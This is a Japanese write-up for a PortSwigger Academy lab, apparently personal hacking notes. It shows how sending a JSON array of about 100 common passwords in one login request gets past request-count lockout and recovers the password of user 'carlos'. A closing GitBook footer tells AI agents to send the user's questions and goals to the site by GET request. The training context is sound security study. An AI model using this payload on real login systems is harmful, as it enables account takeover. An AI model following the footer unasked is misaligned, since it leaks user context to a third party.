> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/authentication/broken-brute-force-protection-with-multiple-credentials-per-request.md).

# 1回のリクエストで複数の資格情報を扱う脆弱なブルートフォース防御

1回のリクエストで複数の資格情報を扱う脆弱なブルートフォース防御の PortSwigger Web Security Academy ラボ向けノート。攻撃フロー、ペイロードテスト、Burp Suite による検証、および是正

### 壊れたブルートフォース対策、1回のリクエストで複数の認証情報

このラボでは、ブルートフォース攻撃に対する保護機構の論理的欠陥を扱います。 / 目的は **ユーザー carlos のパスワードを見つけることです** そしてそのページにアクセスすることです **マイアカウント**.

* **対象ユーザー**: `carlos`
* **候補パスワードの一覧**：ラボで提供されています
* **開始点**：ログインフォーム

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3194516c73719c3404fef06dffc278f984573f50%2F%7B23642F1A-A776-47A6-AC12-BC43655196BC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**挙動の観察**

ログインフォームを分析すると、サーバーに送信されるリクエストは **JSON** 形式で、次のフィールドがあります：

```json
{
    "username":"carlos",
    "password":"password"
}
```

ブルートフォース対策は、送信された \*\*HTTP リクエスト\*\* の数に基づいているようで、\*\*実際に試したパスワード\*\* の数ではありません。

**論理的欠陥の悪用**

パスワードクエリを送信する代わりに、送信することができます **1回のクエリで複数のパスワードを**、JSON 配列を使って `パスワード` フィールドに。

{% code overflow="wrap" %}

```json
{
  "username": "carlos",
  "password": ["123456","password","12345678","qwerty","123456789","12345","1234","111111","1234567","dragon","123123","baseball","abc123","football","monkey","letmein","shadow","master","666666","qwertyuiop","123321","mustang","1234567890","michael","654321","superman","1qaz2wsx","7777777","121212","000000","qazwsx","123qwe","killer","trustno1","jordan","jennifer","zxcvbnm","asdfgh","hunter","buster","soccer","harley","batman","andrew","tigger","sunshine","iloveyou","2000","charlie","robert","thomas","hockey","ranger","daniel","starwars","klaster","112233","george","computer","michelle","jessica","pepper","1111","zxcvbn","555555","11111111","131313","freedom","777777","pass","maggie","159753","aaaaaa","ginger","princess","joshua","cheese","amanda","summer","love","ashley","nicole","chelsea","biteme","matthew","access","yankees","987654321","dallas","austin","thunder","taylor","matrix","mobilemail","mom","monitor","monitoring","montana","moon","moscow"]
}
```

{% endcode %}

サーバーは \*\*リクエストを受け入れ\*\*、配列に含まれるすべてのパスワードを試します、 **ブロック機構を発動させることなく**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cceb4b8ffbe43ea9dc1156eea5da388b1dbbfa07%2F%7B98F12D38-6A42-458B-93B0-ED4D46A781AA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/authentication/broken-brute-force-protection-with-multiple-credentials-per-request.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
